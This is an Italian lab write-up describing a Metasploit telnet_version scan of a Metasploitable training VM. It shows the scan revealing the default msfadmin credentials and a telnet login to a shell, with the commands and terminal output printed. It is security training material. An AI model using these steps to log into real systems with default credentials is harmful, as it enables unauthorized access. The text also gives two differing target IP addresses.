Exploit Telnet con Metasploit

Durante l'esercitazione di oggi, abbiamo esplorato l'utilizzo del framework Metasploit per identificare e sfruttare una vulnerabilità relativa al servizio Telnet sulla macchina virtuale Metasploitable. L'obiettivo principale era utilizzare il modulo auxiliary/scanner/telnet/telnet_version per raccogliere informazioni sul servizio Telnet in esecuzione sulla macchina target.

Per iniziare, abbiamo avviato il framework Metasploit tramite il terminale di Kali Linux e selezionato il modulo

auxiliary/scanner/telnet/telnet_version, che consente di rilevare la versione del servizio Telnet in esecuzione su una macchina remota.

Inseriamo l'indirizzo IP della macchina target e avviamo il modulo con il comando **run**.

```
msf6 auxiliary(scanner/telnet/telnet_version) > options
Module options (auxiliary/scanner/telnet/telnet_version):
            Current Setting Required Description
   Name
                                     The password for the specified username
The target host(s), see https://docs.metasploit.com/docs/using-metas
The target port (TCP)
   PASSWORD
   RHOSTS
   RPORT
            23
                            yes
   THREADS
                                      The number of concurrent threads (max one per host)
   TIMEOUT
                                      Timeout for the Telnet probe
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.50.149
RHOST ⇒ 192.168.50.149
msf6 auxiliary(scanner/telnet/telnet_version) > run
 \ __) |\x0a| | | | | | | __/ || (_| \__ \ |__)
```

Dopo aver eseguito il modulo **auxiliary/scanner/telnet/telnet_version**, abbiamo scoperto che lo scan ha rivelato le seguenti credenziali predefinite:

Username : msfadminPassword : msfadmin

Eseguiamo da Metasploit il comando «telnet» seguito dall'ip della macchina Metasploitable. Nel nostro lab la Metasploitable ha IP 192.168.1.149, quindi eseguiremo il comando «telnet 192.168.1.149»

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.50.149
[*] exec: telnet 192.168.50.149
Trying 192.168.50.149 ...
Connected to 192.168.50.149.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Mar 11 09:10:36 EDT 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Dopo aver inserito le credenziali, siamo stati autenticati con successo e abbiamo ottenuto un prompt della shell della metasploitable.